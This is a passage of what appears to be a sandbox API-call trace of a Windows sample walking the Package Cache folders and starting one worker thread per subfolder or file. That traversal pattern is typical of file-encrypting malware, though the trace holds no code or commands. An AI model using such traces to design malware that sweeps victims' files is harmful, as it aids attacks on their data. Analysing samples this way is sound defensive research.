lpFindFileData=0x1cd9a2f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a20bca0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x1a20bca0, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x1a20bca0, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 1 [0087.660] wcscmp (_String1="packages", _String2=".") returned 1 [0087.660] wcscmp (_String1="packages", _String2="..") returned 1 [0087.660] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb0) returned 0x106940 [0087.660] wcscpy (in: _Dest=0x106940, _Source="C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005" | out: _Dest="C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005") returned="C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005" [0087.660] wcscat (in: _Dest=0x106940, _Source="\\" | out: _Dest="C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\") returned="C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\" [0087.660] wcscat (in: _Dest=0x106940, _Source="packages" | out: _Dest="C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages") returned="C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages" [0090.593] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x106940, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x98c [0090.593] FindNextFileW (in: hFindFile=0x1cd9c250, lpFindFileData=0x1cd9a2f0 | out: lpFindFileData=0x1cd9a2f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a20bca0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x1a20bca0, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x1a20bca0, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 0 [0090.593] FindClose (in: hFindFile=0x1cd9c250 | out: hFindFile=0x1cd9c250) returned 1 [0090.593] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9a2f0) returned 1 [0090.593] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7a5ff0) returned 1 [0090.594] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7a54f0) returned 1 Thread: id = 239 os_tid = 0xcec [0087.662] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa2) returned 0x1b7a60a0 [0087.662] wcscpy (in: _Dest=0x1b7a60a0, _Source="C:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005" | out: _Dest="C:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005") returned="C:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005" [0087.662] wcscat (in: _Dest=0x1b7a60a0, _Source="\\" | out: _Dest="C:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\") returned="C:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\" [0087.662] wcscat (in: _Dest=0x1b7a60a0, _Source="*" | out: _Dest="C:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\*") returned="C:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\*" [0087.662] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1cd9a560 [0087.662] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\*", lpFindFileData=0x1cd9a560 | out: lpFindFileData=0x1cd9a560*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a199880, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x1a1e5b40, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x1a1e5b40, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd9c2b0 [0087.662] wcscmp (_String1=".", _String2=".") returned 0 [0087.662] FindNextFileW (in: hFindFile=0x1cd9c2b0, lpFindFileData=0x1cd9a560 | out: lpFindFileData=0x1cd9a560*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a199880, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x1a1e5b40, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x1a1e5b40, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.662] wcscmp (_String1="..", _String2=".") returned 1 [0087.663] wcscmp (_String1="..", _String2="..") returned 0 [0087.663] FindNextFileW (in: hFindFile=0x1cd9c2b0, lpFindFileData=0x1cd9a560 | out: lpFindFileData=0x1cd9a560*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a1e5b40, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x1a1e5b40, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x1a1e5b40, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 1 [0087.663] wcscmp (_String1="packages", _String2=".") returned 1 [0087.663] wcscmp (_String1="packages", _String2="..") returned 1 [0087.663] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb0) returned 0x106a00 [0087.663] wcscpy (in: _Dest=0x106a00, _Source="C:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005" | out: _Dest="C:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005") returned="C:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005" [0087.663] wcscat (in: _Dest=0x106a00, _Source="\\" | out: _Dest="C:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\") returned="C:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\" [0087.663] wcscat (in: _Dest=0x106a00, _Source="packages" | out: _Dest="C:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages") returned="C:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages" [0090.595] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x106a00, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x990 [0090.595] FindNextFileW (in: hFindFile=0x1cd9c2b0, lpFindFileData=0x1cd9a560 | out: lpFindFileData=0x1cd9a560*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a1e5b40, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x1a1e5b40, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x1a1e5b40, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 0 [0090.596] FindClose (in: hFindFile=0x1cd9c2b0 | out: hFindFile=0x1cd9c2b0) returned 1 [0090.596] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9a560) returned 1 [0090.596] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7a60a0) returned 1 [0090.596] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7a55a0) returned 1 Thread: id = 240 os_tid = 0xcf0 [0087.670] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa2) returned 0x1b7a6150 [0087.670] wcscpy (in: _Dest=0x1b7a6150, _Source="C:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030" | out: _Dest="C:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030") returned="C:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030" [0087.670] wcscat (in: _Dest=0x1b7a6150, _Source="\\" | out: _Dest="C:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\") returned="C:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\" [0087.670] wcscat (in: _Dest=0x1b7a6150, _Source="*" | out: _Dest="C:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\*") returned="C:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\*" [0087.670] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1cd9a7d0 [0087.670] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\*", lpFindFileData=0x1cd9a7d0 | out: lpFindFileData=0x1cd9a7d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xedbebcc0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xedbebcc0, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xedbebcc0, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd9c310 [0087.676] wcscmp (_String1=".", _String2=".") returned 0 [0087.676] FindNextFileW (in: hFindFile=0x1cd9c310, lpFindFileData=0x1cd9a7d0 | out: lpFindFileData=0x1cd9a7d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xedbebcc0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xedbebcc0, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xedbebcc0, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.677] wcscmp (_String1="..", _String2=".") returned 1 [0087.677] wcscmp (_String1="..", _String2="..") returned 0 [0087.677] FindNextFileW (in: hFindFile=0x1cd9c310, lpFindFileData=0x1cd9a7d0 | out: lpFindFileData=0x1cd9a7d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xedbebcc0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xedbebcc0, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xedbebcc0, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 1 [0087.677] wcscmp (_String1="packages", _String2=".") returned 1 [0087.677] wcscmp (_String1="packages", _String2="..") returned 1 [0087.677] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb0) returned 0x106ac0 [0087.677] wcscpy (in: _Dest=0x106ac0, _Source="C:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030" | out: _Dest="C:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030") returned="C:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030" [0087.677] wcscat (in: _Dest=0x106ac0, _Source="\\" | out: _Dest="C:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\") returned="C:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\" [0087.677] wcscat (in: _Dest=0x106ac0, _Source="packages" | out: _Dest="C:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages") returned="C:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages" [0090.597] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x106ac0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x994 [0090.597] FindNextFileW (in: hFindFile=0x1cd9c310, lpFindFileData=0x1cd9a7d0 | out: lpFindFileData=0x1cd9a7d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xedbebcc0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xedbebcc0, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xedbebcc0, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 0 [0090.598] FindClose (in: hFindFile=0x1cd9c310 | out: hFindFile=0x1cd9c310) returned 1 [0090.598] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9a7d0) returned 1 [0090.598] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7a6150) returned 1 [0090.598] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7a5650) returned 1 Thread: id = 241 os_tid = 0xcf4 [0087.680] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa2) returned 0x1b7a6200 [0087.681] wcscpy (in: _Dest=0x1b7a6200, _Source="C:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030" | out: _Dest="C:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030") returned="C:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030" [0087.681] wcscat (in: _Dest=0x1b7a6200, _Source="\\" | out: _Dest="C:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\") returned="C:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\" [0087.681] wcscat (in: _Dest=0x1b7a6200, _Source="*" | out: _Dest="C:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\*") returned="C:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\*" [0087.681] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1cd9aa40 [0087.681] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\*", lpFindFileData=0x1cd9aa40 | out: lpFindFileData=0x1cd9aa40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xecd7d760, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xedbebcc0, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xedbebcc0, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd9c370 [0087.681] wcscmp (_String1=".", _String2=".") returned 0 [0087.681] FindNextFileW (in: hFindFile=0x1cd9c370, lpFindFileData=0x1cd9aa40 | out: lpFindFileData=0x1cd9aa40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xecd7d760, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xedbebcc0, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xedbebcc0, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.681] wcscmp (_String1="..", _String2=".") returned 1 [0087.681] wcscmp (_String1="..", _String2="..") returned 0 [0087.681] FindNextFileW (in: hFindFile=0x1cd9c370, lpFindFileData=0x1cd9aa40 | out: lpFindFileData=0x1cd9aa40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xedbebcc0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xedbebcc0, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xedbebcc0, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 1 [0087.681] wcscmp (_String1="packages", _String2=".") returned 1 [0087.681] wcscmp (_String1="packages", _String2="..") returned 1 [0087.681] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb0) returned 0x106b80 [0087.682] wcscpy (in: _Dest=0x106b80, _Source="C:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030" | out: _Dest="C:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030") returned="C:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030" [0087.682] wcscat (in: _Dest=0x106b80, _Source="\\" | out: _Dest="C:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\") returned="C:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\" [0087.682] wcscat (in: _Dest=0x106b80, _Source="packages" | out: _Dest="C:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages") returned="C:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages" [0090.599] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x106b80, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x998 [0090.599] FindNextFileW (in: hFindFile=0x1cd9c370, lpFindFileData=0x1cd9aa40 | out: lpFindFileData=0x1cd9aa40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xedbebcc0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xedbebcc0, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xedbebcc0, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 0 [0090.599] FindClose (in: hFindFile=0x1cd9c370 | out: hFindFile=0x1cd9c370) returned 1 [0090.600] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9aa40) returned 1 [0090.600] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7a6200) returned 1 [0090.600] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7a5700) returned 1 Thread: id = 242 os_tid = 0xcf8 [0087.683] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x1b7ada20 [0087.683] wcscpy (in: _Dest=0x1b7ada20, _Source="C:\\ProgramData\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}" | out: _Dest="C:\\ProgramData\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}") returned="C:\\ProgramData\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}" [0087.683] wcscat (in: _Dest=0x1b7ada20, _Source="\\" | out: _Dest="C:\\ProgramData\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\") returned="C:\\ProgramData\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\" [0087.683] wcscat (in: _Dest=0x1b7ada20, _Source="*" | out: _Dest="C:\\ProgramData\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\*") returned="C:\\ProgramData\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\*" [0087.683] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1cd9acb0 [0087.683] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\*", lpFindFileData=0x1cd9acb0 | out: lpFindFileData=0x1cd9acb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfaaff840, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xfaaff840, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xfaaff840, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd9c3d0 [0087.684] wcscmp (_String1=".", _String2=".") returned 0 [0087.684] FindNextFileW (in: hFindFile=0x1cd9c3d0, lpFindFileData=0x1cd9acb0 | out: lpFindFileData=0x1cd9acb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfaaff840, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xfaaff840, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xfaaff840, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.684] wcscmp (_String1="..", _String2=".") returned 1 [0087.684] wcscmp (_String1="..", _String2="..") returned 0 [0087.684] FindNextFileW (in: hFindFile=0x1cd9c3d0, lpFindFileData=0x1cd9acb0 | out: lpFindFileData=0x1cd9acb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfaaff840, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xfaaff840, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xfe3882c0, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x28e, dwReserved0=0x0, dwReserved1=0x0, cFileName="state.rsm", cAlternateFileName="")) returned 1 [0087.684] wcscmp (_String1="state.rsm", _String2=".") returned 1 [0087.684] wcscmp (_String1="state.rsm", _String2="..") returned 1 [0087.684] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9c) returned 0x1b7a62b0 [0087.684] wcscpy (in: _Dest=0x1b7a62b0, _Source="C:\\ProgramData\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}" | out: _Dest="C:\\ProgramData\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}") returned="C:\\ProgramData\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}" [0087.684] wcscat (in: _Dest=0x1b7a62b0, _Source="\\" | out: _Dest="C:\\ProgramData\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\") returned="C:\\ProgramData\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\" [0087.684] wcscat (in: _Dest=0x1b7a62b0, _Source="state.rsm" | out: _Dest="C:\\ProgramData\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\state.rsm") returned="C:\\ProgramData\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\state.rsm" [0090.601] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b7a62b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x99c [0090.601] FindNextFileW (in: hFindFile=0x1cd9c3d0, lpFindFileData=0x1cd9acb0 | out: lpFindFileData=0x1cd9acb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfaaff840, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xfaaff840, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xf0a0a700, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x6f398, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcredist_x64.exe", cAlternateFileName="VCREDI~1.EXE")) returned 1 [0090.601] wcscmp (_String1="vcredist_x64.exe", _String2=".") returned 1 [0090.601] wcscmp (_String1="vcredist_x64.exe", _String2="..") returned 1 [0090.601] FindNextFileW (in: hFindFile=0x1cd9c3d0, lpFindFileData=0x1cd9acb0 | out: lpFindFileData=0x1cd9acb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfaaff840, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xfaaff840, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xf0a0a700, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x6f398, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcredist_x64.exe", cAlternateFileName="VCREDI~1.EXE")) returned 0 [0090.602] FindClose (in: hFindFile=0x1cd9c3d0 | out: hFindFile=0x1cd9c3d0) returned 1 [0090.602] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9acb0) returned 1 [0090.602] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7ada20) returned 1 [0090.602] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b784130) returned 1 Thread: id = 243 os_tid = 0xcfc [0087.685] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa2) returned 0x1b7a6360 [0087.685] wcscpy (in: _Dest=0x1b7a6360, _Source="C:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030" | out: _Dest="C:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030") returned="C:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030" [0087.685] wcscat (in: _Dest=0x1b7a6360, _Source="\\" | out: _Dest="C:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\") returned="C:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\" [0087.685] wcscat (in: _Dest=0x1b7a6360, _Source="*" | out: _Dest="C:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\*") returned="C:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\*" [0087.685] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1cd9af20 [0087.685] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\*", lpFindFileData=0x1cd9af20 | out: lpFindFileData=0x1cd9af20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfab71c60, 